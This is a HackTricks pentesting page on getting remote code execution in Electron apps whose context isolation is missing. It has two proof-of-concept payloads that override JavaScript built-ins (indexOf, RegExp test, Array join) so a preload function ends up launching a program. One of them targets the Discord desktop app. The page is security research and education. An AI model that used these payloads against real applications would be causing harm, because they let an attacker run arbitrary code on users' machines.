hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
2024-12-12 11:39:29 +01:00

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# Electron contextIsolation RCE via preload code
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## Example 1
Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
This code open http(s) links with default browser:
![](<../../../.gitbook/assets/image (768).png>)
Something like `file:///C:/Windows/systemd32/calc.exe` could be used to execute a calc, the `SAFE_PROTOCOLS.indexOf` is preventing it.
Therefore, an attacker could inject this JS code via the XSS or arbitrary page navigation:
```html
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
```
As the call to `SAFE_PROTOCOLS.indexOf` will return 1337 always, the attacker can bypass the protection and execute the calc. Final exploit:
```html
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
Check the original slides for other ways to execute programs without having a prompt asking for permissions.
Apparently another way to load and execute code is to access something like `file://127.0.0.1/electron/rce.jar`
## Example 2: Discord App RCE
Example from [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, into the web page.\
Here, I couldn't use modules that can be used for RCE directly, such as _child\_process_ module, but I **found a code where RCE can be achieved by overriding the JavaScript built-in methods** and interfering with the execution of the exposed module.
The following is the PoC. I was able to confirm that the **calc** application is **popped** up when I c**all the `getGPUDriverVersions` function** which is defined in the module called "_discord\_utils_" from devTools, while **overriding the `RegExp.prototype.test` and `Array.prototype.join`**.
```javascript
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```
The `getGPUDriverVersions` function tries to execute the program by using the "_execa_" library, like the following:
```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
```
Usually the _execa_ tries to execute "_nvidia-smi.exe_", which is specified in the `nvidiaSmiPath` variable, however, due to the overridden `RegExp.prototype.test` and `Array.prototype.join`, **the argument is replaced to "**_**calc**_**" in the \_execa**\_**'s internal processing**.
Specifically, the argument is replaced by changing the following two parts.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
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